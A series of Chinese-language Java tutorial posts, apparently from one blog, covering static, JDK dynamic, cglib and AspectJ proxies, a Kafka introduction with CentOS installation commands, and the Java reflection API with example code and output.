3.2、cglib 生成代理对象的玩法除了 jdk 能实现动态的创建代理对象以外,还有一个非常有名的第三方框架:cglib,它也可以做到运行时在内存中动态生成一个子类对象从而实现对目标对象功能的扩展。cglib 特点如下:cglib 不仅可以代理接口还可以代理类,而 JDK 的动态代理只能代理接口cglib 是一个强大的高性能的代码生成包,它广泛的被许多 AOP 的框架使用,例如我们所熟知的 Spring AOP,cglib 为他们提供方法的 interception(拦截)。CGLIB包的底层是通过使用一个小而快的字节码处理框架ASM,来转换字节码并生成新的类,速度非常快。在使用 cglib 之前,我们需要添加依赖包,如果你已经有spring-core的jar包,则无需引入,因为spring中包含了cglib。<dependency> <groupId>cglib</groupId> <artifactId>cglib</artifactId> <version>3.2.5</version> </dependency>下面,我们还是以两数相加为例,介绍具体的玩法!创建接口public interface CglibCalculator { /** * 计算两个数之和 * @param num1 * @param num2 * @return */ Integer add(Integer num1, Integer num2); }目标对象public class CglibCalculatorImpl implements CglibCalculator { @Override public Integer add(Integer num1, Integer num2) { Integer result = num1 + num2; return result; } }动态代理对象public class CglibProxyFactory implements MethodInterceptor { /** * 维护一个目标对象 */ private Object target; public CglibProxyFactory(Object target) { this.target = target; } /** * 为目标对象生成代理对象 * @return */ public Object getProxyInstance() { //工具类 Enhancer en = new Enhancer(); //设置父类 en.setSuperclass(target.getClass()); //设置回调函数 en.setCallback(this); //创建子类对象代理 return en.create(); } @Override public Object intercept(Object o, Method method, Object[] args, MethodProxy methodProxy) throws Throwable { System.out.println("方法调用前,可以添加其他功能...."); // 执行目标对象方法 Object returnValue = method.invoke(target, args); System.out.println("方法调用后,可以添加其他功能...."); return returnValue; } }测试类public class TestCglibProxy { public static void main(String[] args) { //目标对象 CglibCalculator target = new CglibCalculatorImpl(); System.out.println(target.getClass()); //代理对象 CglibCalculator proxyClassObj = (CglibCalculator) new CglibProxyFactory(target).getProxyInstance(); System.out.println(proxyClassObj.getClass()); //执行代理方法 Integer result = proxyClassObj.add(1,2); System.out.println("相加结果:" + result); } }输出结果class com.example.java.proxy.cglib1.CglibCalculatorImpl class com.example.java.proxy.cglib1.CglibCalculatorImpl$$EnhancerByCGLIB$$3ceadfe4 方法调用前,可以添加其他功能.... 方法调用后,可以添加其他功能.... 相加结果:3将 cglib 生成的代理类改写为静态实现类大概长这样:public class CglibCalculatorImplByCGLIB extends CglibCalculatorImpl implements Factory { private static final MethodInterceptor methodInterceptor; private static final Method method; public final Integer add(Integer var1, Integer var2) { return methodInterceptor.intercept(this, method, new Object[]{var1, var2}, methodProxy); } //.... }其中,拦截思路与 JDK 类似,都是通过一个接口方法进行拦截处理!在上文中咱们还介绍到了,cglib 不仅可以代理接口还可以代理类,下面我们试试代理类。创建新的目标对象public class CglibCalculatorClass { /** * 计算两个数之和 * @param num1 * @param num2 * @return */ public Integer add(Integer num1, Integer num2) { Integer result = num1 + num2; return result; } }测试类public class TestCglibProxyClass { public static void main(String[] args) { //目标对象 CglibCalculatorClass target = new CglibCalculatorClass(); System.out.println(target.getClass()); //代理对象 CglibCalculatorClass proxyClassObj = (CglibCalculatorClass) new CglibProxyFactory(target).getProxyInstance(); System.out.println(proxyClassObj.getClass()); //执行代理方法 Integer result = proxyClassObj.add(1,2); System.out.println("相加结果:" + result); } }输出结果class com.example.java.proxy.cglib1.CglibCalculatorClass class com.example.java.proxy.cglib1.CglibCalculatorClass$$EnhancerByCGLIB$$e68ff36c 方法调用前,可以添加其他功能.... 方法调用后,可以添加其他功能.... 相加结果:3四、静态织入在上文中,我们介绍的代理方案都是在代码运行时动态的生成class文件达到动态代理的目的。回到问题的本质,其实动态代理的技术目的,主要为了解决静态代理模式中当目标接口发生了扩展,代理类也要跟着一遍变动的问题,避免造成了工作伤的繁琐和复杂。在 Java 生态里面,还有一个非常有名的第三方代理框架,那就是AspectJ,AspectJ通过特定的编译器可以将目标类编译成class字节码的时候,在方法周围加上业务逻辑,从而达到静态代理的效果。采用AspectJ进行方法植入,主要有四种:方法调用前拦截方法调用后拦截调用方法结束拦截抛出异常拦截使用起来也非常简单,首先是在项目中添加AspectJ编译器插件。<plugin> <groupId>org.codehaus.mojo</groupId> <artifactId>aspectj-maven-plugin</artifactId> <version>1.5</version> <executions> <execution> <goals> <goal>compile</goal> <goal>test-compile</goal> </goals> </execution> </executions> <configuration> <source>1.6</source> <target>1.6</target> <encoding>UTF-8</encoding> <complianceLevel>1.6</complianceLevel> <verbose>true</verbose> <showWeaveInfo>true</showWeaveInfo> </configuration> </plugin>然后,编写一个方法,准备进行代理。@RequestMapping({"/hello"}) public String hello(String name) { String result = "Hello World"; System.out.println(result); return result; }编写代理配置类@Aspect public class ControllerAspect { /*** * 定义切入点 */ @Pointcut("execution(* com.example.demo.web..*.*(..))") public void methodAspect(){} /** * 方法调用前拦截 */ @Before("methodAspect()") public void before(){ System.out.println("代理 -> 调用方法执行之前......"); } /** * 方法调用后拦截 */ @After("methodAspect()") public void after(){ System.out.println("代理 -> 调用方法执行之后......"); } /** * 调用方法结束拦截 */ @AfterReturning("methodAspect()") public void afterReturning(){ System.out.println("代理 -> 调用方法结束之后......"); } /** * 抛出异常拦截 */ @AfterThrowing("methodAspect()") public void afterThrowing() { System.out.println("代理 -> 调用方法异常......"); } }编译后,hello方法会变成这样。@RequestMapping({"/hello"}) public String hello(Integer name) throws SQLException { JoinPoint var2 = Factory.makeJP(ajc$tjp_0, this, this, name); Object var7; try { Object var5; try { //调用before Aspectj.aspectOf().doBeforeTask2(var2); String result = "Hello World"; System.out.println(result); var5 = result; } catch (Throwable var8) { Aspectj.aspectOf().after(var2); throw var8; } //调用after Aspectj.aspectOf().after(var2); var7 = var5; } catch (Throwable var9) { //调用抛出异常 Aspectj.aspectOf().afterthrowing(var2); throw var9; } //调用return Aspectj.aspectOf().afterRutuen(var2); return (String)var7; }很显然,代码被AspectJ编译器修改了,AspectJ并不是动态的在运行时生成代理类,而是在编译的时候就植入代码到class文件。由于是静态织入的,所以性能相对来说比较好!五、小结看到上面的介绍静态织入方案,跟我们现在使用Spring AOP的方法极其相似,可能有的同学会发出疑问,我们现在使用的Spring AOP动态代理,到底是动态生成的还是静态织入的呢?实际上,Spring AOP代理是对JDK代理和CGLIB代理做了一层封装,同时引入了AspectJ中的一些注解@pointCut、@after,@before等等,本质是使用的动态代理技术。总结起来就三点:如果目标是接口的话,默认使用 JDK 的动态代理技术;如果目标是类的话,使用 cglib 的动态代理技术;引入了AspectJ中的一些注解@pointCut、@after,@before,主要是为了简化使用,跟AspectJ的关系并不大;那为什么Spring AOP不使用AspectJ这种静态织入方案呢?虽然AspectJ编译器非常强,性能非常高,但是只要目标类发生了修改就需要重新编译,主要原因可能还是AspectJ的编译器太过于复杂,还不如动态代理来的省心!
一、介绍何谓代理?代理这个词最早出现在代理商这个行业,所谓代理商,简而言之,其实就是帮助企业或者老板打理生意,自己本身不做生产任何商品。举个例子,我们去火车站买票的时候,人少老板一个人还忙的过来,但是人一多的话,就会非常拥挤,于是就有了各种代售点,我们可以从代售点买车票,从而加快老板的卖票速度。代售点的出现,可以说,很直观的帮助老板提升了用户购票体验。站在软件设计的角度,其实效果也是一样的,采用代理模式的编程,能显著的增强原有的功能和简化方法调用方式。在介绍动态代理之前,我们先来聊解静态代理。二、静态代理下面,我们以两数相加为例,实现过程如下!接口类public interface Calculator { /** * 计算两个数之和 * @param num1 * @param num2 * @return */ Integer add(Integer num1, Integer num2); }目标对象public class CalculatorImpl implements Calculator { @Override public Integer add(Integer num1, Integer num2) { Integer result = num1 + num2; return result; } }代理对象public class CalculatorProxyImpl implements Calculator { private Calculator calculator; @Override public Integer add(Integer num1, Integer num2) { //方法调用前,可以添加其他功能.... Integer result = calculator.add(num1, num2); //方法调用后,可以添加其他功能.... return result; } public CalculatorProxyImpl(Calculator calculator) { this.calculator = calculator; } }测试类public class CalculatorProxyClient { public static void main(String[] args) { //目标对象 Calculator target = new CalculatorImpl(); //代理对象 Calculator proxy = new CalculatorProxyImpl(target); Integer result = proxy.add(1,2); System.out.println("相加结果:" + result); } }输出结果相加结果:3通过这种代理方式,最大的优点就是:可以在不修改目标对象的前提下,扩展目标对象的功能。但也有缺点:需要代理对象和目标对象实现一样的接口,因此,当目标对象扩展新的功能时,代理对象也要跟着一起扩展,不易维护!三、动态代理动态代理,其实本质也是为了解决上面当目标对象扩展新功能时,代理对象也需要跟着一起扩展的痛点问题而生。那它是怎么解决的呢?以 JDK 为例,当需要给某个目标对象添加代理处理的时候,JDK 会在内存中动态的构建代理对象,从而实现对目标对象的代理功能。下面,我们还是以两数相加为例,介绍具体的玩法!3.1、JDK 中生成代理对象的玩法创建接口public interface JdkCalculator { /** * 计算两个数之和 * @param num1 * @param num2 * @return */ Integer add(Integer num1, Integer num2); }目标对象public class JdkCalculatorImpl implements JdkCalculator { @Override public Integer add(Integer num1, Integer num2) { Integer result = num1 + num2; return result; } }动态代理对象public class JdkProxyFactory { /** * 维护一个目标对象 */ private Object target; public JdkProxyFactory(Object target) { this.target = target; } public Object getProxyInstance(){ Object proxyClassObj = Proxy.newProxyInstance(target.getClass().getClassLoader(), target.getClass().getInterfaces(), new InvocationHandler(){ @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("方法调用前,可以添加其他功能...."); // 执行目标对象方法 Object returnValue = method.invoke(target, args); System.out.println("方法调用后,可以添加其他功能...."); return returnValue; } }); return proxyClassObj; } }测试类public class TestJdkProxy { public static void main(String[] args) { //目标对象 JdkCalculator target = new JdkCalculatorImpl(); System.out.println(target.getClass()); //代理对象 JdkCalculator proxyClassObj = (JdkCalculator) new JdkProxyFactory(target).getProxyInstance(); System.out.println(proxyClassObj.getClass()); //执行代理方法 Integer result = proxyClassObj.add(1,2); System.out.println("相加结果:" + result); } }输出结果class com.example.java.proxy.jdk1.JdkCalculatorImpl class com.sun.proxy.$Proxy0 方法调用前,可以添加其他功能.... 方法调用后,可以添加其他功能.... 相加结果:3采用 JDK 技术动态创建interface实例的步骤如下:1. 首先定义一个 InvocationHandler 实例,它负责实现接口的方法调用 2. 通过 Proxy.newProxyInstance() 创建 interface 实例,它需要 3 个参数: (1)使用的 ClassLoader,通常就是接口类的 ClassLoader (2)需要实现的接口数组,至少需要传入一个接口进去; (3)用来处理接口方法调用的 InvocationHandler 实例。 3. 将返回的 Object 强制转型为接口动态代理实际上是 JVM 在运行期动态创建class字节码并加载的过程,它并没有什么黑魔法技术,把上面的动态代理改写为静态实现类大概长这样:public class JdkCalculatorDynamicProxy implements JdkCalculator { private InvocationHandler handler; public JdkCalculatorDynamicProxy(InvocationHandler handler) { this.handler = handler; } public void add(Integer num1, Integer num2) { handler.invoke( this, JdkCalculator.class.getMethod("add", Integer.class, Integer.class), new Object[] { num1, num2 }); } }本质就是 JVM 帮我们自动编写了一个上述类(不需要源码,可以直接生成字节码)。
一、认识kafka面试官提问:什么是 Kafka ?用来干嘛的?官方定义如下:Kafka is used for building real-time data pipelines and streaming apps. It is horizontally scalable, fault-tolerant, wicked fast, and runs in production in thousands of companies.翻译过来,大致的意思就是,这是一个实时数据处理系统,可以横向扩展,并高可靠!实时数据处理,从名字上看,很好理解,就是将数据进行实时处理,在现在流行的微服务开发中,最常用实时数据处理平台有 RabbitMQ、RocketMQ 等消息中间件。这些中间件,最大的特点主要有两个:服务解耦流量削峰在早期的 web 应用程序开发中,当请求量突然上来了时候,我们会将要处理的数据推送到一个队列通道中,然后另起一个线程来不断轮训拉取队列中的数据,从而加快程序的运行效率。但是随着请求量不断的增大,并且队列通道的数据一致处于高负载,在这种情况下,应用程序的内存占用率会非常高,稍有不慎,会出现内存不足,造成程序内存溢出,从而导致服务不可用。随着业务量的不断扩张,在一个应用程序内,使用这种模式已然无法满足需求,因此之后,就诞生了各种消息中间件,例如 ActiveMQ、RabbitMQ、RocketMQ 等中间件。采用这种模型,本质就是将要推送的数据,不在存放在当前应用程序的内存中,而是将数据存放到另一个专门负责数据处理的应用程序中,从而实现服务解耦。但是随着请求量不断的增大,并且队列通道的数据一致处于高负载,在这种情况下,应用程序的内存占用率会非常高,稍有不慎,会出现内存不足,造成程序内存溢出,从而导致服务不可用。随着业务量的不断扩张,在一个应用程序内,使用这种模式已然无法满足需求,因此之后,就诞生了各种消息中间件,例如 ActiveMQ、RabbitMQ、RocketMQ 等中间件。采用这种模型,本质就是将要推送的数据,不在存放在当前应用程序的内存中,而是将数据存放到另一个专门负责数据处理的应用程序中,从而实现服务解耦。如果你看不懂这些概念没关系,我会带着大家一起梳理一遍!Producer:Producer 即生产者,消息的产生者,是消息的入口Broker:Broker 是 kafka 一个实例,每个服务器上有一个或多个 kafka 的实例,简单的理解就是一台 kafka 服务器,kafka cluster表示集群的意思Topic:消息的主题,可以理解为消息队列,kafka的数据就保存在topic。在每个 broker 上都可以创建多个 topic 。Partition:Topic的分区,每个 topic 可以有多个分区,分区的作用是做负载,提高 kafka 的吞吐量。同一个 topic 在不同的分区的数据是不重复的,partition 的表现形式就是一个一个的文件夹!Replication:每一个分区都有多个副本,副本的作用是做备胎,主分区(Leader)会将数据同步到从分区(Follower)。当主分区(Leader)故障的时候会选择一个备胎(Follower)上位,成为 Leader。在kafka中默认副本的最大数量是10个,且副本的数量不能大于Broker的数量,follower和leader绝对是在不同的机器,同一机器对同一个分区也只可能存放一个副本Message:每一条发送的消息主体。Consumer:消费者,即消息的消费方,是消息的出口。Consumer Group:我们可以将多个消费组组成一个消费者组,在 kafka 的设计中同一个分区的数据只能被消费者组中的某一个消费者消费。同一个消费者组的消费者可以消费同一个topic的不同分区的数据,这也是为了提高kafka的吞吐量!Zookeeper:kafka 集群依赖 zookeeper 来保存集群的的元信息,来保证系统的可用性。简而言之,kafka 本质就是一个消息系统,与大多数的消息系统一样,主要的特点如下:使用推拉模型将生产者和消费者分离为消息传递系统中的消息数据提供持久性,以允许多个消费者提供高可用集群服务,主从模式,同时支持横向水平扩展与 ActiveMQ、RabbitMQ、RocketMQ 不同的地方在于,它有一个分区Partition的概念。这个分区的意思就是说,如果你创建的topic有5个分区,当你一次性向 kafka 中推 1000 条数据时,这 1000 条数据默认会分配到 5 个分区中,其中每个分区存储 200 条数据。这样做的目的,就是方便消费者从不同的分区拉取数据,假如你启动 5 个线程同时拉取数据,每个线程拉取一个分区,消费速度会非常非常快!这是 kafka 与其他的消息系统最大的不同!2.1、发送数据和其他的中间件一样,kafka 每次发送数据都是向Leader分区发送数据,并顺序写入到磁盘,然后Leader分区会将数据同步到各个从分区Follower,即使主分区挂了,也不会影响服务的正常运行。那 kafka 是如何将数据写入到对应的分区呢?kafka中有以下几个原则:1、数据在写入的时候可以指定需要写入的分区,如果有指定,则写入对应的分区2、如果没有指定分区,但是设置了数据的key,则会根据key的值hash出一个分区3、如果既没指定分区,又没有设置key,则会轮询选出一个分区2.2、消费数据与生产者一样,消费者主动的去kafka集群拉取消息时,也是从Leader分区去拉取数据。这里我们需要重点了解一个名词:消费组!考虑到多个消费者的场景,kafka 在设计的时候,可以由多个消费者组成一个消费组,同一个消费组者的消费者可以消费同一个 topic 下不同分区的数据,同一个分区只会被一个消费组内的某个消费者所消费,防止出现重复消费的问题!但是不同的组,可以消费同一个分区的数据!你可以这样理解,一个消费组就是一个客户端,一个客户端可以由很多个消费者组成,以便加快消息的消费能力。但是,如果一个组下的消费者数量大于分区数量,就会出现很多的消费者闲置。如果分区数量大于一个组下的消费者数量,会出现一个消费者负责多个分区的消费,会出现消费性能不均衡的情况。因此,在实际的应用中,建议消费者组的consumer的数量与partition的数量保持一致!三、kafka 安装光说理论可没用,下面我们就以 centos7 为例,介绍一下 kafka 的安装和使用。kafka 需要 zookeeper 来保存服务实例的元信息,因此在安装 kafka 之前,我们需要先安装 zookeeper。3.1、安装zookeeperzookeeper 安装环境依赖于 jdk,因此我们需要事先安装 jdk# 安装jdk1.8 yum -y install java-1.8.0-openjdk下载zookeeper,并解压文件包#在线下载zookeeper wget http://mirrors.hust.edu.cn/apache/zookeeper/zookeeper-3.4.12/zookeeper-3.4.12.tar.gz #解压 tar -zxvf zookeeper-3.4.12.tar.gz创建数据、日志目录#创建数据和日志存放目录 cd /usr/zookeeper/ mkdir data mkdir log #把conf下的zoo_sample.cfg备份一份,然后重命名为zoo.cfg cd conf/ cp zoo_sample.cfg zoo.cfg配置zookeeper#编辑zoo.cfg文件 vim zoo.cfg重新配置dataDir和dataLogDir的存储路径最后,启动 Zookeeper 服务#进入Zookeeper的bin目录 cd zookeeper/zookeeper-3.4.12/bin #启动Zookeeper ./zkServer.sh start #查询Zookeeper状态 ./zkServer.sh status #关闭Zookeeper状态 ./zkServer.sh stop3.2、安装kafka到官网http://kafka.apache.org/downloads.html下载想要的版本,我这里下载是最新稳定版2.8.0。#下载kafka 安装包 wget https://apache.osuosl.org/kafka/2.8.0/kafka-2.8.0-src.tgz #解压文件包 tar -xvf kafka-2.8.0-src.tgz按需修改配置文件server.properties(可选)#进入配置文件夹 cd kafka-2.8.0-src/config #编辑server.properties vim server.propertiesserver.properties文件内容如下:broker.id=0 listeners=PLAINTEXT://localhost:9092 num.network.threads=3 num.io.threads=8 socket.send.buffer.bytes=102400 socket.receive.buffer.bytes=102400 socket.request.max.bytes=104857600 log.dirs=/tmp/kafka-logs num.partitions=1 num.recovery.threads.per.data.dir=1 offsets.topic.replication.factor=1 transaction.state.log.replication.factor=1 transaction.state.log.min.isr=1 log.retention.hours=168 log.segment.bytes=1073741824 log.retention.check.interval.ms=300000 zookeeper.connect=localhost:2181 zookeeper.connection.timeout.ms=6000 group.initial.rebalance.delay.ms=0其中有四个重要的参数:broker.id:唯一标识IDlisteners=PLAINTEXT://localhost:9092:kafka服务监听地址和端口log.dirs:日志存储目录zookeeper.connect:指定zookeeper服务地址可根据自己需求修改对应的配置!3.3、启动 kafka 服务# 进入bin脚本目录 cd kafka-2.8.0-src/bin启动 kafka 服务nohup kafka-server-start.sh ../config/server.properties server.log 2> server.err &3.4、创建主题topics创建一个名为testTopic的主题,它只包含一个分区,只有一个副本:# 进入bin脚本目录 cd kafka-2.8.0-src/bin #创建topics kafka-topics.sh --create --zookeeper localhost:2181 --replication-factor 1 --partitions 1 --topic testTopic运行list topic命令,可以看到该主题。# 进入bin脚本目录 cd kafka-2.8.0-src/bin #查询当前kafka上所有的主题 kafka-topics.sh --list --zookeeper localhost:2181输出内容:testTopic3.5、发送消息Kafka 附带一个命令行客户端,它将从文件或标准输入中获取输入,并将其作为消息发送到 Kafka 集群。默认情况下,每行将作为单独的消息发送。运行生产者,然后在控制台中键入一些消息以发送到服务器。# 进入bin脚本目录 cd kafka-2.8.0-src/bin #运行一个生产者,向testTopic主题中发消息 kafka-console-producer.sh --broker-list localhost:9092 --topic testTopic输入两条内容并回车:Hello kafka! This is a message3.5、接受消息Kafka 还有一个命令行使用者,它会将消息转储到标准输出。# 进入bin脚本目录 cd kafka-2.8.0-src/bin #运行一个消费者,从testTopic主题中拉取消息 kafka-console-consumer.sh --bootstrap-server localhost:9092 --topic testTopic --from-beginning输出结果如下:Hello kafka! This is a message四、小结本文主要围绕 kafka 的架构模型和安装环境做了一些初步的介绍,难免会有理解不对的地方,欢迎网友批评、吐槽。由于篇幅原因,会在下期文章中详细介绍 java 环境下 kafka 应用场景!
一、什么是反射?反射 (Reflection) 是 Java 的特征之一,它允许运行中的 Java 程序获取自身的信息,并且可以操作类或对象的内部属性。Oracle 官方对反射的解释是:Reflection enables Java code to discover information about the fields, methods and constructors of loaded classes, and to use reflected fields, methods, and constructors to operate on their underlying counterparts, within security restrictions. The API accommodates applications that need access to either the public members of a target object (based on its runtime class) or the members declared by a given class. It also allows programs to suppress default reflective access control.简而言之,通过反射,我们可以在运行时获得程序或程序集中每一个类型的成员和成员的信息。程序中一般的对象的类型都是在编译期就确定下来的,而 Java 反射机制可以动态地创建对象并调用其属性,这样的对象的类型在编译期是未知的。所以我们可以通过反射机制直接创建对象,即使这个对象的类型在编译期是未知的。二、反射的主要用途很多人都认为反射在实际的 Java 开发应用中并不广泛,其实不然。当我们在使用 IDE(如 Eclipse,IDEA)时,当我们输入一个对象或类并想调用它的属性或方法时,一按点号,编译器就会自动列出它的属性或方法,这里就会用到反射。反射最重要的用途就是开发各种通用框架。很多框架(比如 Spring)都是配置化的(比如通过 XML 文件配置 Bean),为了保证框架的通用性,它们可能需要根据配置文件加载不同的对象或类,调用不同的方法,这个时候就必须用到反射,运行时动态加载需要加载的对象。举一个例子,在运用 Struts 2 框架的开发中我们一般会在 struts.xml 里去配置 Action,比如:<action name="login" class="org.xxx.SimpleLoginAction" method="execute"> <result>/shop/shop-index.jsp</result> <result name="error">login.jsp</result> </action>配置文件与Action建立了一种映射关系,当 View层发出请求时,请求会被 StrutsPrepareAndExecuteFilter 拦截,然后 StrutsPrepareAndExecuteFilter 会去动态地创建 Action 实例。比如我们请求 login.action,那么 StrutsPrepareAndExecuteFilter就会去解析struts.xml文件,检索action中name为login的Action,并根据class属性创建SimpleLoginAction实例,并用invoke方法来调用execute方法,这个过程离不开反射。对与框架开发人员来说,反射虽小但作用非常大,它是各种容器实现的核心。而对于一般的开发者来说,不深入框架开发则用反射用的就会少一点,不过了解一下框架的底层机制有助于丰富自己的编程思想,也是很有益的。三、反射的基本运用3.1、通过反射获取class对象通过反射获取对象有三种方式3.1.1、Class.forName()获取public static Class<?> forName(String className) throws ClassNotFoundException { Class<?> caller = Reflection.getCallerClass(); return forName0(className, true, ClassLoader.getClassLoader(caller), caller); }比如,在 JDBC 开发中常用此方法加载数据库驱动Class.forName("包名.类名");3.1.2、类名.class获取例如:Class<?> intClass = int.class; Class<?> integerClass = Integer.TYPE; #RelfectEntity类为本文的例子 Class relfectEntity2 = RelfectEntity.class;3.1.3、对象getClass()获取StringBuilder str = new StringBuilder("123"); Class<?> strClass = str.getClass();三种方法都可以实现获取class对象,框架开发中,一般第一种用的比较多。3.2、获取类的构造器信息获取类构造器的用法,主要是通过Class类的getConstructor方法得到Constructor类的一个实例,而Constructor类有一个newInstance方法可以创建一个对象实例:public T newInstance(Object ... initargs)3.3、获取类的实例通过反射来生成对象主要有两种方式。使用Class对象的newInstance()方法来创建Class对象对应类的实例。Class<?> c = String.class; Object str = c.newInstance();先通过Class对象获取指定的Constructor对象,再调用Constructor对象的newInstance()方法来创建实例。//获取String所对应的Class对象 Class<?> c = String.class; //获取String类带一个String参数的构造器 Constructor constructor = c.getConstructor(String.class); //根据构造器创建实例 Object obj = constructor.newInstance("23333"); System.out.println(obj);这种方法可以用指定的构造器构造类的实例。3.4、获取类的变量实体类:/** * 基类 */ public class BaseClass { public String publicBaseVar1; public String publicBaseVar2; } /** * 子类 */ public class ChildClass extends BaseClass{ public String publicOneVar1; public String publicOneVar2; private String privateOneVar1; private String privateOneVar2; public String printOneMsg() { return privateOneVar1; } }测试:public class VarTest { public static void main(String[] args) { //1.获取并输出类的名称 Class mClass = ChildClass.class; System.out.println("类的名称:" + mClass.getName()); System.out.println("----获取所有 public 访问权限的变量(包括本类声明的和从父类继承的)----"); //2.获取所有 public 访问权限的变量(包括本类声明的和从父类继承的) Field[] fields = mClass.getFields(); //遍历变量并输出变量信息 for (Field field : fields) { //获取访问权限并输出 int modifiers = field.getModifiers(); System.out.print(Modifier.toString(modifiers) + " "); //输出变量的类型及变量名 System.out.println(field.getType().getName() + " " + field.getName()); } System.out.println("----获取所有本类声明的变量----"); //3.获取所有本类声明的变量 Field[] allFields = mClass.getDeclaredFields(); for (Field field : allFields) { //获取访问权限并输出 int modifiers = field.getModifiers(); System.out.print(Modifier.toString(modifiers) + " "); //输出变量的类型及变量名 System.out.println(field.getType().getName() + " " + field.getName()); } } }输出结果:类的名称:com.example.java.reflect.ChildClass ----获取所有 public 访问权限的变量(包括本类声明的和从父类继承的)---- public java.lang.String publicOneVar1 public java.lang.String publicOneVar2 public java.lang.String publicBaseVar1 public java.lang.String publicBaseVar2 ----获取所有本类声明的变量---- public java.lang.String publicOneVar1 public java.lang.String publicOneVar2 private java.lang.String privateOneVar1 private java.lang.String privateOneVar23.5、修改类的变量修改子类/** * 子类 */ public class ChildClass extends BaseClass{ public String publicOneVar1; public String publicOneVar2; private String privateOneVar1; private String privateOneVar2; public String printOneMsg() { return privateOneVar1; } }测试:public class VarModfiyTest { public static void main(String[] args) throws Exception { //1.获取并输出类的名称 Class mClass = ChildClass.class; System.out.println("类的名称:" + mClass.getName()); System.out.println("----获取ChildClass类中的privateOneVar1私有变量----"); //2.获取ChildClass类中的privateOneVar1私有变量 Field privateField = mClass.getDeclaredField("privateOneVar1"); //3. 操作私有变量 if (privateField != null) { //获取私有变量的访问权 privateField.setAccessible(true); //实例化对象 ChildClass obj = (ChildClass) mClass.newInstance(); //修改私有变量,并输出以测试 System.out.println("privateOneVar1变量,修改前值: " + obj.printOneMsg()); //调用 set(object , value) 修改变量的值 //privateField 是获取到的私有变量 //obj 要操作的对象 //"hello world" 为要修改成的值 privateField.set(obj, "hello world"); System.out.println("privateOneVar1变量,修改后值: " + obj.printOneMsg()); } } }输出结果:类的名称:com.example.java.reflect.ChildClass ----获取ChildClass类中的privateOneVar1私有变量---- privateOneVar1变量,修改前值: null privateOneVar1变量,修改后值:hello world3.6、获取类的所有方法修改实体类/** * 基类 */ public class BaseClass { public String publicBaseVar1; public String publicBaseVar2; private void privatePrintBaseMsg(String var) { System.out.println("基类-私有方法,变量:" + var); } public void publicPrintBaseMsg(String var) { System.out.println("基类-公共方法,变量:" + var); } } /** * 子类 */ public class ChildClass extends BaseClass{ public String publicOneVar1; public String publicOneVar2; private String privateOneVar1; private String privateOneVar2; public String printOneMsg() { return privateOneVar1; } private void privatePrintOneMsg(String var) { System.out.println("子类-私有方法,变量:" + var); } public void publicPrintOneMsg(String var) { System.out.println("子类-公共方法,变量:" + var); } }测试:public class MethodTest { public static void main(String[] args) { //1.获取并输出类的名称 Class mClass = ChildClass.class; System.out.println("类的名称:" + mClass.getName()); System.out.println("----获取所有 public 访问权限的方法,包括自己声明和从父类继承的---"); //2 获取所有 public 访问权限的方法,包括自己声明和从父类继承的 Method[] mMethods = mClass.getMethods(); for (Method method : mMethods) { //获取并输出方法的访问权限(Modifiers:修饰符) int modifiers = method.getModifiers(); System.out.print(Modifier.toString(modifiers) + " "); //获取并输出方法的返回值类型 Class returnType = method.getReturnType(); System.out.print(returnType.getName() + " " + method.getName() + "( "); //获取并输出方法的所有参数 Parameter[] parameters = method.getParameters(); for (Parameter parameter : parameters) { System.out.print(parameter.getType().getName() + " " + parameter.getName() + ","); } //获取并输出方法抛出的异常 Class[] exceptionTypes = method.getExceptionTypes(); if (exceptionTypes.length == 0){ System.out.println(" )"); } else { for (Class c : exceptionTypes) { System.out.println(" ) throws " + c.getName()); } } } System.out.println("----获取所有本类的的方法---"); //3. 获取所有本类的的方法 Method[] allMethods = mClass.getDeclaredMethods(); for (Method method : allMethods) { //获取并输出方法的访问权限(Modifiers:修饰符) int modifiers = method.getModifiers(); System.out.print(Modifier.toString(modifiers) + " "); //获取并输出方法的返回值类型 Class returnType = method.getReturnType(); System.out.print(returnType.getName() + " " + method.getName() + "( "); //获取并输出方法的所有参数 Parameter[] parameters = method.getParameters(); for (Parameter parameter : parameters) { System.out.print(parameter.getType().getName() + " " + parameter.getName() + ","); } //获取并输出方法抛出的异常 Class[] exceptionTypes = method.getExceptionTypes(); if (exceptionTypes.length == 0){ System.out.println(" )"); } else { for (Class c : exceptionTypes) { System.out.println(" ) throws " + c.getName()); } } } } }输出:类的名称:com.example.java.reflect.ChildClass ----获取所有 public 访问权限的方法,包括自己声明和从父类继承的--- public java.lang.String printOneMsg( ) public void publicPrintOneMsg( java.lang.String arg0, ) public void publicPrintBaseMsg( java.lang.String arg0, ) public final void wait( long arg0,int arg1, ) throws java.lang.InterruptedException public final native void wait( long arg0, ) throws java.lang.InterruptedException public final void wait( ) throws java.lang.InterruptedException public boolean equals( java.lang.Object arg0, ) public java.lang.String toString( ) public native int hashCode( ) public final native java.lang.Class getClass( ) public final native void notify( ) public final native void notifyAll( ) ----获取所有本类的的方法--- public java.lang.String printOneMsg( ) private void privatePrintOneMsg( java.lang.String arg0, ) public void publicPrintOneMsg( java.lang.String arg0, )为啥会输出这么多呢?因为所有的类默认继承object类,打开object类会发现有些公共的方法,所以一并打印出来了!3.7、调用方法public class MethodInvokeTest { public static void main(String[] args) throws Exception { // 1.获取并输出类的名称 Class mClass = ChildClass.class; System.out.println("类的名称:" + mClass.getName()); System.out.println("----获取ChildClass类的私有方法privatePrintOneMsg---"); // 2. 获取对应的私有方法 // 第一个参数为要获取的私有方法的名称 // 第二个为要获取方法的参数的类型,参数为 Class...,没有参数就是null // 方法参数也可这么写 :new Class[]{String.class} Method privateMethod = mClass.getDeclaredMethod("privatePrintOneMsg", String.class); // 3. 开始操作方法 if (privateMethod != null) { // 获取私有方法的访问权 // 只是获取访问权,并不是修改实际权限 privateMethod.setAccessible(true); // 实例化对象 ChildClass obj = (ChildClass) mClass.newInstance(); // 使用 invoke 反射调用私有方法 // obj 要操作的对象 // 后面参数传实参 privateMethod.invoke(obj, "hello world"); } } }输出结果:类的名称:com.example.java.reflect.ChildClass ----获取ChildClass类的私有方法privatePrintOneMsg--- 子类-私有方法,变量:hello world四、总结由于反射会额外消耗一定的系统资源,因此如果不需要动态地创建一个对象,那么就不需要用反射。另外,反射调用方法时可以忽略权限检查,因此可能会破坏封装性而导致安全问题。
